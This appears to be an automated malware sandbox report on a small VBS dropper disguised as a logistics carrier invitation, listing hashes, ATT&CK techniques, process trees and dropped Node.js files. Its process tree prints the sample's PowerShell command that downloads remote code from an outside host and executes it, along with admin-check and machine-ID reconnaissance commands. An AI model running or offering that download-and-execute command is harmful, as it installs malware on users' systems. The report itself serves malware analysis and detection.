cca1348574adbec17ae552954b595da6190ea15c2e1bb6b52f5592f82c196781

Analysis

max time kernel
149s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/07/2026, 12:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ITF_LOGISTICS_GROUP_ONLINE_CARRIER_INVITATION.vbs
Size 150B
Sample260714-pgx29aev4v
SHA256 cca1348574adbec17ae552954b595da6190ea15c2e1bb6b52f5592f82c196781
MD5 a2933db171f863abe40e96ecb3caf997
SHA1 cae28229285d02c86136a5e5bcb6c726071fe932
SHA512 dbc47f76b85b08b54f3a24dc7789129ab7ba4746476321aecdff9cd8ab2ad785a58c187deb67ac6a63083734ce1c9a2f19c28ed19cb6bbbf8ea77d4c8b11e8ba
TLSH
T114C02B976408A73C0E53BEADA777C55F8871242E61B48093FB30890D30092DCD319343
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4520	powershell.exe
3	4520	powershell.exe
5	4520	powershell.exe
6	4520	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4864	node.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
10	api.ipify.org

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
5696	tasklist.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3164	powershell.exe
2532	powershell.exe
4520	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4520	powershell.exe
4520	powershell.exe
3164	powershell.exe
3164	powershell.exe
2532	powershell.exe
2532	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeIncreaseQuotaPrivilege	4520	powershell.exe
Token: SeSecurityPrivilege	4520	powershell.exe
Token: SeTakeOwnershipPrivilege	4520	powershell.exe
Token: SeLoadDriverPrivilege	4520	powershell.exe
Token: SeSystemProfilePrivilege	4520	powershell.exe
Token: SeSystemtimePrivilege	4520	powershell.exe
Token: SeProfSingleProcessPrivilege	4520	powershell.exe
Token: SeIncBasePriorityPrivilege	4520	powershell.exe
Token: SeCreatePagefilePrivilege	4520	powershell.exe
Token: SeBackupPrivilege	4520	powershell.exe
Token: SeRestorePrivilege	4520	powershell.exe
Token: SeShutdownPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeSystemEnvironmentPrivilege	4520	powershell.exe
Token: SeRemoteShutdownPrivilege	4520	powershell.exe
Token: SeUndockPrivilege	4520	powershell.exe
Token: SeManageVolumePrivilege	4520	powershell.exe
Token: 33	4520	powershell.exe
Token: 34	4520	powershell.exe
Token: 35	4520	powershell.exe
Token: 36	4520	powershell.exe
Token: SeIncreaseQuotaPrivilege	4520	powershell.exe
Token: SeSecurityPrivilege	4520	powershell.exe
Token: SeTakeOwnershipPrivilege	4520	powershell.exe
Token: SeLoadDriverPrivilege	4520	powershell.exe
Token: SeSystemProfilePrivilege	4520	powershell.exe
Token: SeSystemtimePrivilege	4520	powershell.exe
Token: SeProfSingleProcessPrivilege	4520	powershell.exe
Token: SeIncBasePriorityPrivilege	4520	powershell.exe
Token: SeCreatePagefilePrivilege	4520	powershell.exe
Token: SeBackupPrivilege	4520	powershell.exe
Token: SeRestorePrivilege	4520	powershell.exe
Token: SeShutdownPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeSystemEnvironmentPrivilege	4520	powershell.exe
Token: SeRemoteShutdownPrivilege	4520	powershell.exe
Token: SeUndockPrivilege	4520	powershell.exe
Token: SeManageVolumePrivilege	4520	powershell.exe
Token: 33	4520	powershell.exe
Token: 34	4520	powershell.exe
Token: 35	4520	powershell.exe
Token: 36	4520	powershell.exe
Token: SeDebugPrivilege	5696	tasklist.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeDebugPrivilege	2532	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5612 wrote to memory of 4520	5612	WScript.exe	87
PID 4116 wrote to memory of 4864	4116	wscript.exe	94
PID 4864 wrote to memory of 5184	4864	node.exe	96
PID 5184 wrote to memory of 5696	5184	cmd.exe	97
PID 4864 wrote to memory of 3164	4864	node.exe	98
PID 4864 wrote to memory of 2532	4864	node.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ITF_LOGISTICS_GROUP_ONLINE_CARRIER_INVITATION.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:5612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -c "irm https://cdn.defenders.workers.dev/p/1 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4520

C:\Windows\system32\wscript.exe
"C:\Windows\system32\wscript.exe" //nologo "C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\nodeupdate.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4116
- C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\node\node.exe
  "C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\node\node.exe" "C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\main.js"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /NH /FO CSV"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5184
  - - C:\Windows\System32\tasklist.exe
      tasklist /NH /FO CSV
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -Command "$p=New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent()); if($p.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)){'admin'} else {'user'}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Cryptography').MachineGuid"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2532

C:\Windows\system32\wscript.exe
C:\Windows\system32\wscript.exe
1⤵
PID:456

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f7ad9abdcd636c2c6889999c25838241b47d0a25155ace08f64e55a25eb3ff9
MD5 7aa40f01332d390a0557187ed788e89f
SHA1 7d7c1a1c58e25749832d6634611c29cc8fabbf19
SHA512 1d9d4d55030ef6e8d1e386e61671f00bc271b8df8179ca19846c2b39cbb2bca110b67b3d4a6d1f200966057f5c6cea3f4dd1ad02d11e42ec7d013c6803954966
SSDEEP 1536:iKLmShYoNz8KMSfKQ1EflJntHY9h4iUxaR40i71Yi68nvwAOdB4V3CNBQkj2jaVP:iKLmShYoNz8KMSfKQ1EflJnpY9qiUaR9
TLSH
T135637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 668d918e88672eb8ed7aec99f2ac9590ea7502f4d44ce001f42cd2f94a5cc8c8
MD5 eb2dc1c78b03c0243be4c55ce798fce5
SHA1 c7b90a431e45a8c33b924abbbfd1cfce7d84dd81
SHA512 17cef3e3c5fae69904d20f0dc6eaf53eaf1ea2fd7f6a929794695e68f63ab3f8e2acb549dea1e5e1c368edff729c66b0ae82a81bdaa69b4885194e397500aec7
TLSH
T186318833B3CC86D6C8994D3A129DAC0076B597F7C18E8ED76A80D24DB52F298DF68350
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0beeb21c1f002b23267ed66236736af08ccec85876716432d75b6794949ce84c
MD5 c81fd5e27d2d3ad46b5cb17313aa9968
SHA1 3d2e165e20c11838815101fcb4db62e40220ff84
SHA512 1c4a298d60549913843705a938f656c71ff52fdf39f17208184870f0991c9bece191741b1d15b3474d2f354593dfce0f7b81dd0992d97f574ea7bfc5f214911e
TLSH
T176115733B3CC8724C89A413610CEAC1136B58BDB809ECE6BAB84D658B42F599CEA1160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_cuz4bw0m.3ii.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cuz4bw0m.3ii.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

text.js

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\@isaacs\cliui\node_modules\emoji-regex\es2015\text.js
Size 15KB
SHA256 450490d136ad99169d360f0c45a317a0ccb083da34602324734491467715baea
MD5 ed6ed7ab5bd5bcb2a254821e233cdd8c
SHA1 59dc6ff551a34f3d4cceb0c88231a386e82d9922
SHA512 2148714b1ab87965f0a71c03aa0a60789c1d9dada5b4ba005b186081b8d191f196a3043964c21e0a33eb45262cc11071d4b658753a42fe91f1fcbee2507fd1c8
SSDEEP 192:4uyCa20qNgG/kFBEKT4BlvFuTMS8Z4wZQZotVNZl8b2vKO9XuLYRfTAkCwtU1kIj:4ng4LYVNn8b8K+eLWD7GxuzDdVW
TLSH
T15162B3BC008846963D2DE0D4AF64EAD6299D4B4A240CD3365F9BFC3772CA4F4ED994E1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

text.js

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\@isaacs\cliui\node_modules\emoji-regex\text.js
Size 14KB
SHA256 07005fd8527ab9ac801d940ee255890039ce8c8960dffbf5ded08c7a8d89bee0
MD5 b25fe69acc9d8eb982b37d758746e913
SHA1 782e46467828dfe227704d09830298ae86e52127
SHA512 99c93da8c70a5ff47a237e0422aba91209680b1413cdecf6339616d12d2d69e1796527596e8859bf505451fc47b6a00302e8a50e1cd0d806da23b5608e82abd4
SSDEEP 96:49tOjllm4Uh4zutkZyhRA4JUraRFsw7ZpqsFRatj9Fnkz+jmS0WVJK4m1io++Qdm:4bzTgMU4GgawCZleT038n
TLSH
T11252BF708521BE6674B2001B9D541B1FF0A8954BE962EF37979CF19EB345231CAC36F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE.md

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\@npmcli\map-workspaces\LICENSE.md
Size 818B
SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
MD5 2916d8b51a5cc0a350d64389bc07aef6
SHA1 c9d5ac416c1dd7945651bee712dbed4d158d09e1
SHA512 508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74
TLSH
T14301128A62E62A9055D19F956DA2B89E61CCF0673903681430B4E24CDA7704AC07E414
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\@npmcli\metavuln-calculator\LICENSE
Size 754B
SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
MD5 d2cf52aa43e18fdc87562d4c1303f46a
SHA1 58fb4a65fffb438630351e7cafd322579817e5e1
SHA512 54e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16
TLSH
T1DC01208FB2E52AD454D19BA53DA1EC8961C9F0773D43AA0430B4E34CCBB780F98AB404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\@sigstore\sign\LICENSE
Size 11KB
SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
MD5 dfc1b916d4555a69859202f8bd8ad40c
SHA1 fc22b6ee39814d22e77fe6386c883a58ecac6465
SHA512 1fbe6bb1f60c8932e4dcb927fc8c8131b9c73afd824ecbabc2045e7af07b35a4155a0f8ad3103bf25f192b6d59282bfc927aead3cb7aaeb954e1b6dbd68369fa
SSDEEP 192:qf9qG4QSAVOSbwF1wOFXuFJyQtxmG3ep/7rlzKfHbxc+Xq0rhlkT8cHfH2:kOu9b01DY/rGBt+dc+aclkT8cH+
TLSH
T1B932722BBA4903771AF20162AB4764CEF31EA03F37591525315CC1682F7B96183FB69E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fetch.js

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\@sigstore\sign\dist\types\fetch.js
Size 79B
SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
MD5 24563705cc4bb54fccd88e52bc96c711
SHA1 871fa42907b821246de04785a532297500372fc7
SHA512 2ce8d2cf580623358fef5f4f8925d0c9943a657c2503c80048ca789bf16eacdb980bfc8aaaa50101a738e939926fcf2545500484dcad782c700ee206d8c6f9b9
TLSH
T1C4A01201A934C5F1038000C44525E0C1A0C10432006528A55BA84D65440088C5050001
MD5 SHA1 SHA512 TLSH

Submit Download

license

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\ansi-styles\license
Size 1KB
SHA256 fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f
MD5 b862aeb7e1d01452e0f07403591e5a55
SHA1 b8765be74fea9525d978661759be8c11bab5e60e
SHA512 885369fe9b8cb0af1107ee92b52c6a353da7cf75bc86abb622e2b637c81e9c5ffe36b0ac74e11cfb66a7a126b606fe7a27e91f3f4338954c847ed2280af76a5f
TLSH
T1A821961E72551363186613E069A9ACC5B32BB11F7DAF5684286DF248633746CD4FB844
MD5 SHA1 SHA512 TLSH

Submit Download

license

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\clean-stack\license
Size 1KB
SHA256 67292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec
MD5 5ad87d95c13094fa67f25442ff521efd
SHA1 01f1438a98e1b796e05a74131e6bb9d66c9e8542
SHA512 7187720ccd335a10c9698f8493d6caa2d404e7b21731009de5f0da51ad5b9604645fbf4bc640aa94513b9eb372aa6a31df2467198989234bc2afbce87f76fbc3
TLSH
T18521961D72551363186613A069A9ACC5B32BB11F7DAF5684286DF248633746CD4FB844
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\cross-spawn\node_modules\which\LICENSE
Size 780B
SHA256 3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
MD5 b020de8f88eacc104c21d6e6cacc636d
SHA1 20b35e641e3a5ea25f012e13d69fab37e3d68d6b
SHA512 4220617e29dd755ad592295bc074d6bc14d44a1feeed5101129669f3ecf0e34eaa4c7c96bbc83da7352631fa262baab45d4a370dad7dabec52b66f1720c28e38
TLSH
T1D501418FB2A12A8414D09B643DA1EC8971C9F03B3C43AA153074E258C7BB80F947A400
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE-MIT.txt

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\emoji-regex\LICENSE-MIT.txt
Size 1KB
SHA256 f996f6e050e6fc18086162b4b44e301bba345c87deca83f57a27e6d54195556e
MD5 e0be9e751faf84fbb7c61c63af745e32
SHA1 48e53e2b46d48cc6ea16f03ab1ecb69a86f5db0b
SHA512 6686277ceafd63dc89b17315c43134098cd131d16c7d42fad82cee5b7c78e4aa1f7cb199db352b9e54adb3f09dc77b1dc6665a5667c4ab8b3639fa254e20ecce
TLSH
T1D211895FB261137B1C66139069A4AC85B36B715BBDFF2384345DF244231A468D9F7C04
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\gauge\node_modules\ansi-regex\index.js
Size 360B
SHA256 4c603af42ee01f6fa43775a6162f6dbbcca897bc2912d19db2974992190363cf
MD5 a20c210b6e40f32c74581046a72637fa
SHA1 ff290036409fd67472b634e36afca346db5c2ffc
SHA512 0cd4fbdf682b6e3e735ee390c463ffa9aa5dd22d38ab312a0731676e95bac37dab9f0d638d8f9c1ab6cdafd15f04ea2864c8702e82f18ca70f86dbb03549ce4d
TLSH
T1D5E068094842155EC8C1328A2D714C748749BF242DA28216C634FE0E5D0A04F23EC62E
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\gauge\node_modules\ansi-regex\package.json
Size 896B
SHA256 a1b5721b315f84a5e2e28f3209eb92831537eb778e9e978502696e6235d71644
MD5 f7fb47cf242d265b2497e3a6ac213617
SHA1 1a09448abf0524c9342c5723b60ba3810af10326
SHA512 6118a9b8efa277e46c065a097a4c9f18623ebee5cd6c170015bc40a222e2ffd2e6e72ce2c3c259a79698901a5f04b4b6b1980541e136ac1ecfb08f23513cd2a7
TLSH
T1F511BD3BF9E2B0EB19CC96C43076C1A21C2C005FE28CCF2E7E9A2D2CC1D44A5215BA50
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\gauge\node_modules\strip-ansi\index.js
Size 158B
SHA256 ee7638c432f16042a7c64c40b4bf326e44b7d6d9b7add19806637240c246a6a6
MD5 3f03b6fe5c918ae1b49ed36f4581762f
SHA1 1dc3afa3b08728017bdff8105d7424fc8951902f
SHA512 b271511f7fd29719d06dbd162ac5259355c682675316aa4c8c513f30f8c390974948a4c02f383a43757c66c2247047f80dc88c2ebf261d9b3dfe0138f1a3c7d7
TLSH
T1DFC08C562075A5472C1340C4F0E859401583C4B03AB8A2F1FECB15A6609947E0670A6A
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\gauge\node_modules\strip-ansi\package.json
Size 852B
SHA256 dec16b172e99984a3c913a9ec30d854da58467ae1fbde1b43a1d8f9562b80ed8
MD5 d59bf9acae68d3368565b2c4302d1c82
SHA1 dc8dd3a6928631b912f6dbb9471b43e9a15117ae
SHA512 b74620e60f75f889654c57c5a8c3a1a69d003523f78a539085ab521c599e905c0038e958533d6a38643d6ecee3dfed97190e595f1309d775fd41e29487162a5f
TLSH
T15D014537B9E230AB09DC92C064B2C5A21C38005FE108CE7E3ED52D38D1D45A620ABB10
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\libnpmpack\LICENSE
Size 730B
SHA256 2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
MD5 072ac9ab0c4667f8f876becedfe10ee0
SHA1 0227492dcdc7fb8de1d14f9d3421c333230cf8fe
SHA512 f38fd6506bd9795bb27d31f1ce38b08c9e6f1689c34fca90e9e1d5194fa064d1f34a9c51d15941506ebbbcd6d4193055e9664892521b7e39ebcd61c3b6f25013
TLSH
T1C001D08FA2D12AD454D59F643DA1BD4861C9F17B7D43AB043074E358DB7744F986A404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\libnpmversion\LICENSE
Size 763B
SHA256 1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7
MD5 7428aa9f83c500c4a434f8848ee23851
SHA1 166b3e1c1b7d7cb7b070108876492529f546219f
SHA512 c7f01de85f0660560206784cdf159b2bdc5f1bc87131f5a8edf384eba47a113005491520b0a25d3cc425985b5def7b189e18ff76d7d562c434dc5d8c82e90cce
TLSH
T14701F18FB2A16A9454D19B653DA1ED8961CDF0373D43AA143075E258C77780FA46A404
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\minimatch\dist\cjs\package.json
Size 28B
SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
MD5 56368b3e2b84dac2c9ed38b5c4329ec2
SHA1 f67c4acef5973c256c47998b20b5165ab7629ed4
SHA512 d662bff3885118e607079fcbeedb27368589bc0ee89f90b9281723fa08bda65e5a08d9640da188773193c0076ec0a5c92624673a6a961490be163e2553d6f482
MD5 SHA1 SHA512

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\minimatch\dist\mjs\package.json
Size 26B
SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
MD5 2324363c71f28a5b7e946a38dc2d9293
SHA1 7eda542849fb3a4a7b4ba8a7745887adcade1673
SHA512 7437cf8f337d2562a4046246fbfcc5e9949f475a1435e94efbc4b6a55880050077d72692cbc3413e0ccd8f36adf9956a6cc633a2adc85fbff6c4aa2b8edac677
MD5 SHA1 SHA512

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\minipass-json-stream\node_modules\minipass\LICENSE
Size 802B
SHA256 04400db77d925de5b0264f6db5b44fe6f8b94f9419ad3473caaa8065c525c0be
MD5 d7c8fab641cd22d2cd30d2999cc77040
SHA1 d293601583b1454ad5415260e4378217d569538e
SHA512 278ff929904be0c19ee5fb836f205e3e5b3e7cec3d26dd42bbf1e7e0ca891bf9c42d2b28fce3741ae92e4a924baf7490c7c6c59284127081015a82e2653e0764
TLSH
T15F01128FB295269419D09B943DA1AC8961C9F0773D43AE153074E248C7AB40EA47A404
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\minipass-json-stream\node_modules\minipass\index.js
Size 16KB
SHA256 7a395802fbe01bb3dc8d09586e0864f255874bf897378e546444fbaec29f54c5
MD5 bc0c0eeede037aa152345ab1f9774e92
SHA1 56e0f71900f0ef8294e46757ec14c0c11ed31d4e
SHA512 5f31251825554bf9ed99eda282fa1973fcec4a078796a10757f4fb5592f2783c4ebdd00bdf0d7ed30f82f54a7668446a372039e9d4589db52a75060ca82186b3
SSDEEP 384:PjFrIA8zJ08TEcGpIuqbI0WXsJY+cHK+34x2WkFUasBq7BmDWC:PjFrIKf8JKjV0DJ
TLSH
T196722F552B9E61229373B77ADD47900FE722141B393F5014B8AC46D02FB99B48B38EF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\minipass-json-stream\node_modules\minipass\package.json
Size 1KB
SHA256 c3052bd85910be313e38ad355528d527b565e70ef15a784db3279649eee2ded5
MD5 d116a360376e31950428ed26eae9ffd4
SHA1 192b8e06fb4e1f97e5c5c7bf62a9bff7704c198b
SHA512 5221c7648f4299234a4637c47d3f1eb5e147014704913bc6fdad91b9b6a6ccc109bced63376b82b046bb5cad708464c76fb452365b76dbf53161914acf8fb11a
TLSH
T1AB217927DD589D7715B52760A8781603F2635B2F20348C0B75F6012E9FB392B0099BAC
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\minipass\dist\commonjs\package.json
Size 19B
SHA256 fa6944a20ca5e6fbaf98fd202eb8c7004d5b4ab786e36b9ed02ee31dbe196c9f
MD5 95b08bc3062cdc4b0334fa9be037e557
SHA1 a6e024bc66f013d9565542250aef50091391801d
SHA512 65c66458abe2101032cdd1b50ca6e643e0c368d09dfa6cc7006b33ed815e106bb20f9aff118181807e7df9f5d4d8d9796709b1ec9a7e04544231636fdf8fdf42
MD5 SHA1 SHA512

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\minipass\dist\esm\package.json
Size 17B
SHA256 6dc1b06d6b093e9cccb20bee06a93836eee0420ae26803ca2ce4065d82f070d1
MD5 6138da8f9bd4f861c6157689d96b6d64
SHA1 ee2833a41c28830d75b2f3327075286c915ed0dd
SHA512 0a3f1cb1522c6e7595186a9a54ed073ffa590b26c7d31b0877f19c925f847037e9f972066bfed62609b190eb2bc21ff7b31514e08c3de64780fef5982cbb21f2
MD5 SHA1 SHA512

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\npm-audit-report\LICENSE
Size 771B
SHA256 b49c8d25a8b57fa92b2902d09c4b8a809157ee32fc10d17b7dbb43c4a8038f79
MD5 e9dc66f98e5f7ff720bf603fff36ebc5
SHA1 f2b428eead844c4bf39ca0d0cf61f6b10aeeb93b
SHA512 8027d65e1556511c884cb80d3c1b846fc9d321f3f83002664ad3805c4dee8e6b0eaf1db81c459153977bdbde9e760b0184ba6572f68d78c37bff617646bcfc3b
TLSH
T15F01259A62E56DF46DD19F806DF1B98D70CCF076BC47A91530A8E258C7B704F88AE414
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\read-package-json-fast\LICENSE
Size 771B
SHA256 24b8d53712087b867030d18f2bd6d1a72c78f9fb4dee0ce025374da25e4443b9
MD5 1d7c74bcd1904d125f6aff37749dc069
SHA1 21e6dfe0fffc2f3ec97594aa261929a3ea9cf2ab
SHA512 b5ac03addd29ba82fc05eea8d8d09e0f2fa9814d0dd619c2f7b209a67d95b538c3c2ff70408641ef3704f6a14e710e56f4bf57c2bb3f8957ba164f28ee591778
TLSH
T14801F18FB2D52A9454D19B653DA1EC8961C9F0773D43AA0530B4E248C7AB40F95BA404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\tuf-js\LICENSE
Size 1KB
SHA256 6ba2fb4cc004819b1d872168a7ba6ac4a5a07400366680750321058fe21dd36b
MD5 dfee32877d06166fae6096f9359e68aa
SHA1 28a83f15648b5088399a0dd3aac207d192bba5f0
SHA512 ed9b0514e9f8a2204d6900f5b5a6065272b91d70b076c91ec8e101a3288c83f19b139210da6de526e269fc85469708478dfec8664e9c3131408af3818ef128cc
TLSH
T1A711631E735903621C9257A055A9ECC5F12BB14A7E6B1985346DF209132A458C6FF8A4
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

